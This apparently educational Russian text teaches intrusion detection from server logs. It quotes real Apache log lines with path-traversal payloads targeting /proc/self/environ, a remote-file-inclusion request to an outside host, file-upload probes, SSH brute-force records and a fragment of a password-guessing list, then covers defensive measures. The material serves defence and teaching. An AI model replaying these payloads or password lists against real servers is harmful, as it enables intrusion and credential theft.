eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:13 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/rip44111.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/44/rut_4411.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:13 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/rip44111.htm HTTP/1.0" 416 -
eth-179.34-homell.natm.ru - - [18/Mar/2011:00:05:16 +0300] "HEAD /////////////////////////////////////////////////////////////////4/44/dns_4412.htm HTTP/1.0" 416 - "http://book.itep.ru/////////////////////////////////////////////////////////////////4/44/rut_4411.htm" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
....
ssl.cooperativepooling.com - - [30/Mar/2011:19:38:42 +0400] "GET ////////?page=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 3155 "-" "libwww-perl/5.837"
ssl.cooperativepooling.com - - [30/Mar/2011:19:38:42 +0400] "GET ////////?page=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 3155
199.48.254.114 - - [25/Apr/2011:06:49:04 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:49:04 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:50:42 +0400] "GET //////?custompluginfile[]=http://acclinternational.com/gallery/ID-RFI.txt?? HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:50:44 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:50:44 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:51:26 +0400] "GET //////?custompluginfile[]=http://acclinternational.com/gallery/ID-RFI.txt?? HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:51:36 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:51:36 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:51:44 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:51:44 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:51:47 +0400] "GET //////?custompluginfile[]=http://acclinternational.com/gallery/ID-RFI.txt?? HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:51:47 +0400] "GET //////?custompluginfile[]=http://acclinternational.com/gallery/ID-RFI.txt?? HTTP/1.1" 200 18714
199.48.254.114 - - [25/Apr/2011:06:52:58 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714 "-" "libwww-perl/5.805"
199.48.254.114 - - [25/Apr/2011:06:52:58 +0400] "GET //////?custompluginfile[]=../../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 18714

Всего в файле access_log имелось несколько десятков тысяч таких строк. Число символов “/” в запросах варьировалось от нуля до 16, но были запросы с числом "/" достигавшим 1500. Об атаках этого типа можно прочитать также в: An interactive eGuide Enterprise Security или в Path Traversal. Данные запросы на протяжении нескольких часов превосходили по частоте нормальные запросы в десятки раз. Этот тип атак в англоязычной литературе называется Path Traversal. Последовательность символов “/” после идентификатора метода GET имеет две цели:

  1. Замедлить работу сервера, так как обработка каждого такого символа производится отдельно
  2. Попытаться попасть в зону каталогов, не относящуюся к WEB-сервису (это возможно при некорректной обработке параметров запроса или при неверной конфигурации)

Задача помешать добропорядочным клиентам сервера при этом частично была достигнута. Инициатора атаки должен огорчить - журнальные файлы анализируются автоматически, а результат заносится в базу данных, работающую на другом сервере. Этот хакер (77.51.38.204 - московский регион) не одинок, сходные атаки предпринимали в разное время не один десяток атакеров. Их труды записаны и в любой момент могут быть переданы компетентным органам. :-)

Диаграмма, фиксирующая факт и время slash-атаки (Path-Traversal)

Под диаграммой размещается запись типа "There are 19836 records" и полный список таких рекордов за текущие сутки.

По умолчанию время запроса задается в секундах и по этой причине в журнальном файле могут быть запросы с идентичной временной привязкой. Что хуже время запросов может увеличиваться немонотонно (возможна ситуация, когда время последующего запроса меньше предыдущего). По этой причине при построении временных зависимостей нужно предварительно упорядочить запросы по времени.

Еще одним примером атаки может служить фрагмент журнального файла, представленный ниже.

host.talentse.com - - [22/Jul/2010:10:21:11 +0400] "PUT /index.html HTTP/1.1" 405 302 
host.talentse.com - - [22/Jul/2010:10:21:12 +0400] "PUT /index.aspx HTTP/1.1" 405 302 "-" "Microsoft Data Access Internet Publishing Provider DAV 1.1" 
host.talentse.com - - [22/Jul/2010:10:21:12 +0400] "PUT /welcome.htm HTTP/1.1" 405 303 
host.talentse.com - - [22/Jul/2010:10:21:12 +0400] "PUT /home.htm HTTP/1.1" 405 300 
host.talentse.com - - [22/Jul/2010:10:21:12 +0400] "PUT /home.htm HTTP/1.1" 405 300 "-" "Microsoft Data Access Internet Publishing Provider DAV 1.1" 
111.subnet110-136-186.speedy.telkom.net.id - - [08/Dec/2010:08:05:15 +0300] "PUT /indonesia.txt HTTP/1.1" 405 305 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; BTRS87890)"
111.subnet110-136-186.speedy.telkom.net.id - - [08/Dec/2010:08:05:15 +0300] "PUT /indonesia.txt HTTP/1.1" 405 305 
118.96.132.212 - - [13/May/2011:10:03:48 +0400] "PUT /10/ports.htm/indonesia.htm HTTP/1.1" 405 318 
ns.falco.lt - - [05/Dec/2010:04:43:32 +0300] "POST /docs/JavaScript/contact.php HTTP/1.1" 404 295 "-" "Mozilla/4.76 [ru] (X11; U; SunOS 5.7 sun4u)"
ns.falco.lt - - [05/Dec/2010:04:43:32 +0300] "POST /docs/JavaScript/contact.php HTTP/1.1" 404 295
ns.falco.lt - - [05/Dec/2010:04:43:32 +0300] "POST /docs/JavaScript/contact.php HTTP/1.1" 404 295 "-" "Mozilla/4.76 [ru] (X11; U; SunOS 5.7 sun4u)"
ns.falco.lt - - [05/Dec/2010:04:43:32 +0300] "POST /docs/JavaScript/contact.php HTTP/1.1" 404 295 
190.233.154.79 - - [15/Mar/2011:10:05:23 +0300] "OPTIONS / HTTP/1.1" 200 - "-" "Microsoft-WebDAV-MiniRedir/6.0.6000" 
190.233.154.79 - - [15/Mar/2011:10:05:23 +0300] "OPTIONS / HTTP/1.1" 200 
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /email.php? HTTP/1.1" 404 278
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /4/45/email.php? HTTP/1.1" 404 283 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /email.php? HTTP/1.1" 404 278 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /4/45/email.php? HTTP/1.1" 404 283
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /4/email.php? HTTP/1.1" 404 280
80.93.50.204 - - [07/Oct/2011:08:23:22 +0400] "POST /4/email.php? HTTP/1.1" 404 280 "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6"
78.40.226.30 - - [20/Dec/2011:08:30:16 +0300] "POST /mysql/scripts/setup.php HTTP/1.1" 404 294 

Это попытка записать на сервер некоторые файлы. Метод PUT протокола HTTP здесь совершенно нелегален (столь же опасен метод DELETE; что содержится в файлах index.html, index.aspx, welcome.htm, home.htm и indonesia.txt можно только предполагать). Но определенную опасность имеет и метод POST, в выше приведенном примере отправитель, судя по всему, пытается загрузить файл contact.php, email.php и setup.php в различные каталоги, надеясь найти такой, где это разрешено. Подозрения должны вызывать и методы TRACE, OPTIONS, PROPFIND. Источник атаки был расположен в Бразилии. Всего таких попыток было предпринято оттуда более 50. Список файлов, которые ищут хакеры на сервере, быстро расширяется. По этой причине старайтесь не копировать скрипты из Интернет. В любом случае любой скрипт нужно тщательно проверять на возможную уязвимость. Это касается, прежде всего, анализа списка параметров, воспринимаемого скриптом.

Метод POST в некоторых случаям может быть вполне легальным. Но это не относится к примеру, представленному выше. Вы всегда знаете к каким объектам может применяться метод POST, и используется ли он на вашем WEB-сервере вообще.

Подозрение должны вызвать многократные запросы одного и того же ресурса. Появление в запросе некоторых символов, особенно в большом количестве (например, !!! или ???) также подозрительно. Специфика анализа запросов может зависеть от структуры WEB-сервера. Если к серверу обращен запрос с параметрами, а сервер не предполагает использования параметров, то это может быть атака. Аналогично SQL-запросы к серверу, не использующему баз данных, также следует рассматривать, как потенциально опасные.

Пример атаки, зафиксированной в файле error_log, представлен ниже.

[Sun Jul 25 09:13:52 2010] [error] [client 212.1.246.117] File does not exist: /home/httpd/htdocs/book/result/test.php
[Sun Jul 25 09:13:59 2010] [error] [client 212.1.246.117] File does not exist: /home/httpd/htdocs/book/result/info.php
[Sun Jul 25 09:14:06 2010] [error] [client 212.1.246.117] File does not exist: /home/httpd/htdocs/book/result/phpinfo.php
[Sun Jul 25 09:14:13 2010] [error] [client 212.1.246.117] File does not exist: /home/httpd/htdocs/book/result/myphpinfo.php

Атакер ищет файлы, которыми он смог бы воспользоваться для вторжения (в данно случае это различные php-скрипты). В перечень запрашиваемых объектов могут входить: phpMyAdmin-2.2.3, phpMyAdmin-2.2.6, php_my_admin, websql, pma, scripts, admin, db, dbadmin, mysqladmin, phpMyadmin и т.д. и пр.. Полный список таких строк может содержать многие десятки и сотни. Что важно, он постоянно пополняется.

Целям детектирования попыток атаки может служить регистрация темпа роста журнальных файлов. Периоды быстрого роста размера журнального файла очень часто могут свидетельствовать о попытке атаки. Если, кроме того, в журнале Apache обнаруживаются запросы с периодом следования меньше секунды, то это значит, что ваш сервер зондируют с помощью специального скрипта. Человек ведь не может за время меньше секунды оценить содержимое страницы и нажать на кнопку выбора следующей страницы. Тем более он не может это проделывать в течении минуты.

К средствам мониторинга сетевых атак относятся такие программные продукты, как SNORT (IDS), для предотвращения атак используются различные системы типа Firewall. Хорошего результата можно достичь, грамотно конфигурируя программное обеспечение ЭВМ и контролируя качество паролей. Пример фрагмента журнального файла ZoneAlarm (разновидность FireWall) представлен ниже:

FWIN,2005/08/19,14:25:04 +4:00 GMT,61.235.154.103:44666,194.85.70.31:1027,UDP
FWIN,2005/08/19,14:39:36 +4:00 GMT,220.168.156.70:37740,194.85.70.31:1026,UDP
FWIN,2005/08/19,14:39:36 +4:00 GMT,220.168.156.70:37740,194.85.70.31:1027,UDP
FWIN,2005/08/19,14:44:34 +4:00 GMT,222.241.95.69:32875,194.85.70.31:1027,UDP

Эта распечатка демонстрирует попытки прощупывания ЭВМ с IP-адресом 194.85.70.31 на предмет откликов со стороны портов 1026 и 1027 (протоколы cap и exosee). Зондирование производится с нескольких разных адресов (61.235.154.103, 220.168.156.70 и 222.241.95.69). Объектом атаки в данном случае является рабочая станция, которая не поддерживает эти протоколы.


Широкое внедрение Firewall вынудило хакеров к встречным мерам. Они начали в процессе коммуникаций динамически менять номера используемых портов. Ведь в Firewall часто блокированы строго определенные порты.

Существует достаточно много стандартных диагностических средств, в частности в ОС UNIX. Среди этих средств, программы ведения журнальных файлов ОС и некоторых приложений, например, Apache (файлы access_log, error_log и ssl_access_log), Samba, Squid и др..

Для отслеживания работы ОС и приложений обычно предусматривается система журнальных файлов, которая фиксирует все события (приход запросов, соответствие запросов определенным критериям и т.д.)

Рассмотрим использование журнальных файлов на примере анализа успешной атаки вторжение через приложение SSH.

Если возникло подозрение относительно возможного вторжения, надо начинать с просмотра файлов secure и messages (каталог /var/log/ ОС LINUX). В нашем случае атака началась в пятницу вечером (8-го июля 2005 года). Ниже представлены фрагменты журнальных файлов, иллюстрирующие характер атаки.

Jul 8 18:23:18 fender sshd[15017]:Illegal user anonymous from 207.232.63.45
Jul 8 18:23:20 fender sshd[15019]: Illegal user bruce from 207.232.63.45 (Нью-Йорк, США)
Jul 8 18:23:22 fender sshd[15021]: Illegal user chuck from 207.232.63.45
Jul 8 18:23:23 fender sshd[15023]: Illegal user darkman from 207.232.63.45

Jul 9 13:15:13 fender sshd[16764]: Illegal user bruce from 129.237.101.171
Jul 9 13:15:14 fender sshd[16766]: Illegal user chuck from 129.237.101.171
Jul 9 13:15:16 fender sshd[16768]: Illegal user darkman from 129.237.101.171
Jul 9 13:15:17 fender sshd[16770]: Illegal user hostmaster from 129.237.101.171
….
Jul 10 15:25:34 fender sshd[28450]: Did not receive identification string from 80.18.87.243\par
Jul 10 16:56:16 fender sshd[28457]: Illegal user lynx from 80.18.87.243\par
Jul 10 16:56:17 fender sshd[28459]: Illegal user monkey from 80.18.87.243\par
Jul 10 16:56:18 fender sshd[28461]: Illegal user lion from 80.18.87.243\par
….
Jul 10 02:42:02 fender sshd[18064]: Did not receive identification string from 166.70.74.35
Jul 10 03:09:13 fender sshd[18067]: Illegal user admin from 166.70.74.35 (Солт Лейк Сити, США)
Jul 10 03:09:14 fender sshd[18069]: Illegal user admin from 166.70.74.35
Jul 10 03:09:16 fender sshd[18071]: Illegal user admin from 166.70.74.35
….
Jul 10 16:56:16 fender sshd[28457]: Illegal user lynx from 80.18.87.243 (Венеция, Италия)
Jul 10 16:56:17 fender sshd[28459]: Illegal user monkey from 80.18.87.243
Jul 10 16:56:18 fender sshd[28461]: Illegal user lion from 80.18.87.243
….
Jul 10 16:56:40 fender sshd[28509]: Failed password for root from 80.18.87.243 port 45208 ssh2
Jul 10 16:56:41 fender sshd[28511]: Accepted password for root from 80.18.87.243 port 45298 ssh2
….
Jul 10 19:13:49 fender sshd[31152]: Accepted password for root from 81.181.128.181 port 4943 ssh2

Из записей видно, что машина была атакована из 7 точек. Четыре расположены в США (IP=166.70.74.35; 207.232.63.45; 129.79.240.86 и 129.237.101.171), по одной в Италии, Румынии и Венгрии (IP=80.98.194.185). Производится подбор параметров доступа имя-пароль. Подбор продолжался около двух суток.

Успешный вариант был найден машиной из Италии (IP-адрес=80.18.87.243 Венеция). Практически сразу атака со стороны всех ЭВМ была прервана и хакер вошел на атакуемую ЭВМ (имя_ЭВМ=fender) из машины с IP=81.181.128.181 (Румыния).

Для дальнейшего анализа событий нами были использованы данные из файла .bash_history, куда записываются все команды исполняемые пользователем в терминальном режиме. Записи этого файла и результаты работы демона syslogd говорят о том, что через 3 минуты после успешного вторжения хакер заблокировал работу syslog.

Далее хакер заблокировал доступ к системе других пользователей, загрузил туда файл pass_file (объем 696057 байт), содержащий комбинации имя-пароль (небольшие фрагменты содержимого файла представлены ниже).

lynx lynx
monkey monkey
lion lion
heart heart
michel michel
alibaba alibaba
…..
root 123456
root 1234567
….
root 1234567890
root rootroot
root rootrootroot
root 123root123
root 987654321
….
root 4321
root 321
root root!
root root!@
root root!@#
….

Хакер рассчитывает на то, что пользователь ЭВМ ленив, и выбирает простой пароль (легче запомнить - легче подобрать!). Кроме того, хакер скопировал на взломанную ЭВМ несколько скриптов и файл со списком адресов - кандидатов на взлом. После этого машина включилась в работу по подбору паролей на других ЭВМ.

К сожалению, факт атаки был установлен лишь утром в понедельник. Сначала была проведена частичная блокировка. Хакер почувствовал неладное и выдал команды last и ps, пытаясь понять, что происходит, дальнейшая его работа была полностью блокирована.

Какие выводы из этой истории можно сделать? На атакованной рабочей станции была установлена SSH устаревшей версии (имевшей уязвимость) и использован достаточно простой пароль. По этой причине нужно своевременно обновлять ОС и версии приложений. Про выбор паролей смотри RFC-2196. Особо опасными с точки зрения атак является ночь и выходные дни. Если нет насущной необходимости, лучше на это время блокировать доступ к ЭВМ или даже выключать ее. Примером диагностики атак по журнальным файлом может служить сайт http://saturn.itep.ru/rec_lengths.htm.


Своевременное внесение обновлений используемых системных и прикладных программ - основа сетевой безопасности .

Помимо журнальных файлов ОС надо просматривать и соответствующие файлы приложений, например, Firewall (BlackIce Defender, ZoneAlarm и т.д.), Apache, баз данных и пр. Если даже в вашей зоне ответственности только один компьютер, просмотр всех важных файлов достаточно трудоемок. По этой причине следует рассмотреть возможность использования специализированных скриптов, которые возьмут эту работу на себя, информируя вас в случае выявления тревожных событий. Результаты работы скриптов должны накапливаться в базе данных. Эти данные могут использоваться для получения данных об атакерах и формирования ACL (списков управления доступом).

Хакер может попытаться уничтожить следы своего пребывания, стерев или очистив определенные журнальные файлы. Вполне возможно, в нашем случае хакер так бы и поступил, восстановив перед уходом и доступ по SSH. По этой причине следует заранее побеспокоиться о периодическом копировании журнальных файлов на недоступное для хакера устройство или сохранении их в зашифрованном виде. Но хакер может поступить и более жестоко, например, разметив системный диск. Хорошая схема защиты должна предотвращать такого рода действия или позволять хотя бы быстро восстанавливать разрушенную конфигурацию системы.

Следует учитывать, что сами журнальные файлы могут стать объектом атаки типа DoS. Большой поток запросов, поступающих с нескольких ЭВМ, и обращенных к одному или нескольким ресурсам машины, могут привести к быстрому росту журнальных файлов, переполнить дисковое запоминающее устройство и блокировать работу.

При анализе журнальных файлов следует принимать во внимание не только их содержимое, но и темп их роста. Список журнальных файлов зависит от используемой операционной системы и от перечня загруженных приложений. В этот список могут быть включены: bash_history (по числу аккоунтов), access, secure и т.д. В случае успешного вторжения хакер может фальсифицировать журнальные файлы или даже стереть их, по этой причине система оповещения должна работать оперативно.

Анализируя журнальные файлы и текущие параметры работы сервера или субсети, следует учитывать, что распределение по некоторым параметрам может иметь большую или даже бесконечную дисперсию. В этом случае традиционные статистические методы могут оказаться неприменимы. Такая ситуация достаточно типична для самых разных видов атак. Учитывая это, надо признать крайне актуальным выработку способов распознавания атак по совокупности признаков.

Нами на протяжении более пяти лет велись разработки систем безопасности, в частности скрытной системы дублирования журнальных файлов, исключающей возможность для хакера “заметания следов вторжения” путем искажения записей в журнальных файлов. Важность такой системы подтвердило вторжение на одну из наших машин путем подбора пароля (взлом системы SSH) в 2006 году, когда хакер частично успел стереть некоторые из журнальных файлов. Сейчас такая система разработана и даже, если хакер сотрет все журнальные файлы, последовательность его действий может быть восстановлена по копиям, хранящимся в недоступном для хакера месте.

Эффективность мониторинга изменения объемов некоторых журнальных файлов для детектирования атак будут продемонстрированы на примере файлов access_log (httpd) и error_log.

На рис. 3 показана временная зависимость изменения объема файлов access_log (вверху) и error_log (внизу) приложения apache. Горизонтальная ось диаграмм служит для обозначения времени в часах.

Известно, что журнальные файлы, чтобы избежать беспредельного роста размеров, обычно подвергаются процедуре ротации, когда файл закрывается переименовывается и открывается пустой файл с тем же именем. Это несколько усложняет мониторинг.

Понятно, что синхронный анализ роста объема журнальных файлов и их содержимого предоставляет несравненно более четкую картину атаки.

На левых сторонах диаграмм приведена скорость роста файлов в байтах в минуту, на правых - абсолютные значения объемов файлов.


Рис. 3. Временная зависимость размеров файлов access_log и error_log

Из диаграмм видно, что примерно в 19 часов произошел резкий скачок размеров рассматриваемых файлов. Это само по себе должно привлечь внимание. Рассмотрение содержимого файла access_log позволяет получить дополнительную информацию.

Рис. 4. Распределение имен источников по числу запросов в файле access_log

Рис. 4 показывает, что максимум активности исходит из узла с именем rakhilim.ruscomnet.ru (1199500 запросов примерно за полтора часа). Это уже никак нельзя считать нормальным.

Теперь рассмотрим содержимое файла error_log за тот же временной интервал. На рис. 5. представлено распределение числа ошибок по IP-адресам источников запросов.

Рис. 5. Распределение сообщений об ошибках по IP-адресам отправителя запроса

На рисунке четко виден максимум, соответствующий IP-адресу 80.249.130.130. Утилита gethostbyaddr показывает, что этот адрес соответствует имени rakhilim.ruscomnet.ru. Все это крайне подозрительно, но еще не доказывает злого умысла. Но если рассмотреть причины ошибок вывод становится однозначным. Причиной ошибки в более чем 90% случаев является посылка HEAD-запросов, содержащих достаточно большое (варьируемое) число символов “/”. Проводился анализ сообщений “Don’t exist”. Очевидно, Эта атака рассчитана на блокиовку WEB-сервера (разновидность DoS-атаки).

Вся последовательность операций в нашем случае выполнялась автоматически посредством скриптов, написанных на языке PERL. Время начала и конца атаки также фиксируются программно.

Только отправка сообщений администратору сервис-провайдера, зоны, где работает атакер, пока не автоматизирована. Планируется создание базы данных атакеров.

На рис. 6 показаны временные зависимости роста журнальных файлов secure (слева; файл демона sshd) и access_log (справа).

В правой части рисунка видны два пика. Выбор отрезка времени, соответствующему первому пику, позволил вывести в текстовую часть рисунка строчку, соответствующую пользователю, проявившему эту активность. При копированиях с сайта частота обращений может достигать порядка десятков тысяч обращений за 15 минут.

В левой части рисунка с машины www.ks-engo.com (221.251.188.125) проводится сканирование портов. Из текстовой части рисунка видно, что наш сайт запрещает доступ для данного IP адреса - это определяется политикой администратора сайта. В то же время, очевидно, что применение данной программы может легко запретить подобные атаки: например, после третьей попытки прощупать порты сервера можно автоматически внести данный IP адрес в запрещенные адреса (ASL). Таким образом, программа может спасти от атак сайт не очень квалифицированного администратора.

Рис. 6.

Jan 28 23:59:27 saturn sshd[18759]: refused connect from c-71-206-85-247.hsd1.fl.comcast.net (71.206.85.247) 29/Lan/2008 07:00:00—07:15:00 Lines with address kazmail.asdc.kz meet 2 times
Jan 29 00:00:23 saturn sshd[18811]: refused connect from c-71-206-85-247.hsd1.fl.comcast.net (71.206.85.247) Lines with address robot9.rambler.ru meet 2 times Lines with address lj511326.crawl.yahoo.net meet 2 times
Jan 29 02:03:43 saturn sshd[19713]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address lj512354.crawl.yahoo.net meet 2 times Lines with address lj511408.crawl.yahoo.net meet 2 times
Jan 29 02:14:51 saturn sshd[19780]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address 205.214.60.134 meet 30 times Lines with address lj511327.crawl.yahoo.net meet 2 times
Jan 29 02:22:28 saturn sshd[19780]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address 220.181.41.80 meet 2 times Lines with address 225.ya1.ru meet 22 times
Jan 29 02:30:13 saturn sshd[19931]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address lj511304.crawl.yahoo.net meet 2 times Lines with address fjy.nske.ru meet 10 times
Jan 29 02:37:36 saturn sshd[19971]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address lj511375.crawl.yahoo.net meet 2 times Lines with address 193.19.127.17 meet 730 times
Jan 29 02:45:19 saturn sshd[20043]: refused connect from server52137.uk2net.com (83.170.113.138) Lines with address host42.net60.omskelecom.ru meet 12 times

Методы противодействия вторжениям

Прежде чем обсуждать средства противодействия, следует рассмотреть пути и методы вторжения и причины потери критических данных. Эта информация позволит более осознанно строить линию обороны. Обращу ваше внимание лишь на некоторые из них:


Практика показывает, что 60% компаний, подвергшихся серьезному сетевому вторжению, уже не могут восстановить свой имидж и в течение года прекращают свое существование. Но даже компаниям, которым удалось избежать такой печальной судьбы, приходится нести тяжелые убытки. Важным свойством корпоративной системы становится время восстановления после катастрофического вторжения. Смотри Securing SSL VPNs with RSA SecurID Two-factor Authentication.

В феврале 2005 Банк Америки потерял ленты резервных копий данных, содержащих персональную информацию о 1,2 миллионах клиентах, аналогичная история произошла Ситигруп в июне 2005, когда были потеряны ленты с данными о 3,9 миллионах клиентах. Компания ESG считает, что потеря одного рекорда обходится в 30-150 долларов. Эти инциденты показывают, насколько актуальным является использование криптографии при создании резервных копий. Но несмотря на эти события до 75% компаний до сих пор не используют криптографические методы для резервного копирования (это относится к концу 2005). Во многих штатах США приняты законы, обязывающие компании, хранящие у себя персональные данные граждан (налоговые номера, адреса, даты рождения, номера кредитных карт, медицинские карты и т.д.), уведомлять заинтересованных лиц не только о случаях кражи этих данных, но даже при подозрении, что к эnим данным получило доступ неавторизованное лицо!

Безопасность сегодня является частью самих данных (криптозащита), а не системы или устройства, где она хранится.

Локальная сеть должна быть разумным образом поделена на субсети и VLAN, что осложняет действия локальных атакеров. Для копирования каких-то файлов коллегами может быть открыт доступ к какому-то каталогу или файлу, но по завершении операции доступ не перекрывается, чем могут воспользоваться как локальные, так и удаленные хакеры. Особое внимание должно уделяться безопасности DNS- и почтового серверов, так как именно их атакеры проверяют на прочность первыми.

Одним из средств детектирования вторжений может быть регистрация файлов, только что записанных на жесткий диск. При этом нужно отслеживать то, кто эти файлы создал.

В последнее время в связи с широким использованием мобильных средств появилась потребность аутентификации мобильных удаленных пользователей и процессов в рамках VPN. Для этой цели часто используется многопараметрическая аутентификация и средства генерации одноразовых паролей (OTP).

Одним из наиболее эффективных способов защиты информации является шифрование сообщений, что к сожалению заметно увеличивает время отклика (шифрование-дешифрование). Задержки при большом входном трафике могут привести к блокировке сервера.

Начинать нужно с классификации информации и сетевых объектов в вашей сети, определения зон ответственности и доступа различных сотрудников.

Если в вашей сети установлен Firewall, автоматически обновляемая антивирусная программа, система обновления прикладных и системных программ, IPS/IDS, VPN и система фильтрации почты и WEB-данных, это еще не гарантирует безопасности (100%-защиты ничто не может гарантировать). Все эти барьеры легко можно обойти (в сети описаны методики).

Наиболее эффективными являются простые правила предосторожности, диктуемые здравым смыслом.

  1. Не устанавливать на своей машине программ, назначение которых вам не известно. Еще лучше, но редко осуществимо, запретить пользователям самостоятельно инсталлировать программное обеспечение.
  2. Не кликайте без разбора мышкой на кнопках просматриваемых страниц, например на "click her to close" (функция этой кнопки на неизвестном сайте может быть много "богаче"), лучше закройте страницу, если сайт вам не известен.
  3. Не открывайте сообщения SPAM и не кликайте мышкой на ссылках в таких сообщениях.
  4. По возможности не используйте программы файлового обмена peer-to-peer (P2P)
  5. Убедитесь, что настройки вашего браузера запрещают какую-либо загрузку, не спросив разрешения пользователя.
  6. Установите экран, осуществляющий фильтрацию трафика в реальном времени, и выполняйте регулярное сканирование системы.

Мировой опыт обеспечения безопасности говорит о том, что нельзя обойтись каким-то одним программным средством мониторинга и защиты. По этой причине лучше иметь несколько средств различной функциональности, полученных из разных но достойных доверия источников. Смотри "TechTarget Guide to Spyware, Data Leakage, and Spyware Recovery". Для выявления вирусов, spyware и rootkit можно заглянуть, соблюдая осторожность, на следующие серверы:

  1. http://vil.nai.com/vil/stinger
  2. http://www.spybot.info/en/index.html
  3. http://www.microsoft.com/athome/security/spyware/software/default.mspx
  4. http://www.sysinternals.com/Utilities/RootkitRevealer.html
  5. http://greatis.com/unhackme
  6. http://www.f-secure.com/blacklight

Можно попробовать некоторые общедоступные программные средства сканирования. Запрос some Google "free antivirus" может помочь вам найти нужные средства. Ниже приведен список таких источников (но перед их установкой лучше провести проверку на наличие в них самих malware):

  1. http://www.pestpatrol.com/prescan.htm
  2. http://www.ewido.net/en/onlinescan
  3. http://housecall.trendmicro.com/
  4. http://www.pandasoftware.com/products/activescan

Следует проверить все потенциально опасные места в системе компьютера, такие как каталог startup Windows, Startup tab в файле msconfig, а также любые ключи регистра, ссылающиеся на эту программу из anyHKEY_LOCAL_MACHINE/Software/Microsoft/Windows/CurrentVersion/Run в regedit. Небесполезно просмотреть и содержимое всех временных каталогов Windows temp . Таким образом нужно просканировать всю систему. Полезно время от времени вообще удалять содержимое всех пользовательских и системных каталогов типа TEMP, а также cookie. Крайне полезно отслеживать, желательно автоматически, любые изменения конфигурационных файлов.

Следует загрузить системный Process Explorer и просмотреть загруженные процессы и приложения. Это может выявить работающие malware. Для поиска malware, подключенного к локальным портам TCP или UDP можно запустить Foundstone's Vision. Можно использовать сетевой анализатор (например, CommView или Ethereal), что посмотреть, что происходит в сетевом сегменте.

Следует удалить (выгрузить) любые программы, если вы подозреваете их зараженность, после чего повторите сканирование. Может так случиться, что в вашей системе присутствуют файлы, заблокированные против стирания или помещенные под карантин вашей программой удаления, это могут быть вредоносные коды.

Никогда не посещайте сайтов, где вместо имени указан IP-адрес. Это может быть взломанный домашний компьютер, используемый для распространения malware.

Постарайтесь заблокировать восстановление и перезагрузку системы в safe mode и после этого запустите вашу программу детектирования/удаления вирусов/spyware. Для этой цели хороши программы, поставляемые на бутабельном CD.

Может так случиться, что ваши проблемы связаны с повреждением программы или неисправностью оборудования, а не с malware. Попытайтесь реинсталлировать Windows или поврежденное приложение. Если это не помогло, попытайтесь вернуть систему к состоянию, когда она работала, восстановив конфигурацию оборудования.

Не полагайтесь безгранично на Google или другую поисковую систему в отношении рекомендуемых программ детектирования и очистки системы от malware. Внимательно изучите сайты ведущих поставщиков соответствующего программного обеспечения (Symantec, Trend Micro, Sophos и др.), чтобы выбрать нужное решение для вашей проблемы. Сайты Symantec's Security Response и CA's Spyware Encyclopedia содержат много полезной информации.

Поставщики антивирусных и анти-spyware программ могут предложить специфические средства, о которых вы возможно и не слышали, но которые вполне могут помочь в вашем случае. Не бойтесь использовать средство от поставщика, отличного от используемого вами. Следует иметь в виду, что разные продукты имею разную функциональность и возможности. Противодействие spyware в последнее время стало особенно актуальным. Здесь важны как средства профилактики, так и утилиты на случай, когда заражение уже произошло. Обзор таких средств можно найти в Spyware Removal Checklist, а также Средства для борьбы со spyware.

